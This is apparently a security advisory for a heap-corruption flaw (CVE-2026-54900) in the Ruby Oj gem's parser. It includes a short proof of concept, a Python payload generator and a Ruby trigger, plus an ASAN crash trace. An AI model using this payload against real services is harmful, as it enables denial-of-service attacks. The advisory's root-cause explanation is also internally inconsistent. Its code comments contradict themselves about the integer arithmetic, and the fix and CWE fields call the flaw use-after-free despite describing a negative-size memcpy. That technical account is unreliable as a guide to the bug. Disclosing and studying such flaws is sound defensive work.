PT-2026-51086 · Rubygems · Oj

Publicado

2026-06-19

·

Atualizado

2026-06-19

·

CVE-2026-54900

CVSS v4.0

8.7

Alta

VetorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

Oj::Parser#parse in usual mode with create id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE MAX bytes (interpreted as a huge size t), corrupting heap memory and crashing the process.

Version

  • Software: oj gem
  • Affected: all versions with ext/oj/usual.c
  • Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/usual.c, form attr:
c
// usual.c:55–64
static ID form attr(const char *str, size t slen) {
  char    buf[4096];
  // ...
  int blen = (int)slen + 1;  // ← truncates: 65535 + 1 = 65536 → wraps to 0
                 //  or: 65535 cast to int = 65535 (fits),
                 //  but blen = 65536 → INT overflow on +1 if slen=INT MAX
  // ...
  memcpy(buf, "@", 1);
  memcpy(buf + 1, str, (size t)blen); // ← size t(-1) = SIZE MAX
}
The cache (cache intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size t)-1.
ASAN report:
==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
  #0 memcpy
  #1 form attr     /ext/oj/usual.c:63
  #2 cache intern    /ext/oj/cache.c:326
  #3 get attr id    /ext/oj/usual.c:186
  #4 close object create /ext/oj/usual.c:374
  #5 parse       /ext/oj/parser.c:693
  #6 parser parse    /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)

Reproduce

Generate the payload:
python
key = 'A' * 65535
with open('poc.json', 'w') as f:
  f.write('{"json class":"Oj::Bag","' + key + '":1}')
Trigger:
ruby
require 'oj'
Oj::Parser.new(:usual, create id: 'json class').parse(STDIN.read)

Correção

Use After Free

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Enumeração de Fraquezas

CWE-416

Identificadores relacionados

CVE-2026-54900
GHSA-9CV6-QCJW-4GRX

Produtos afetados

Oj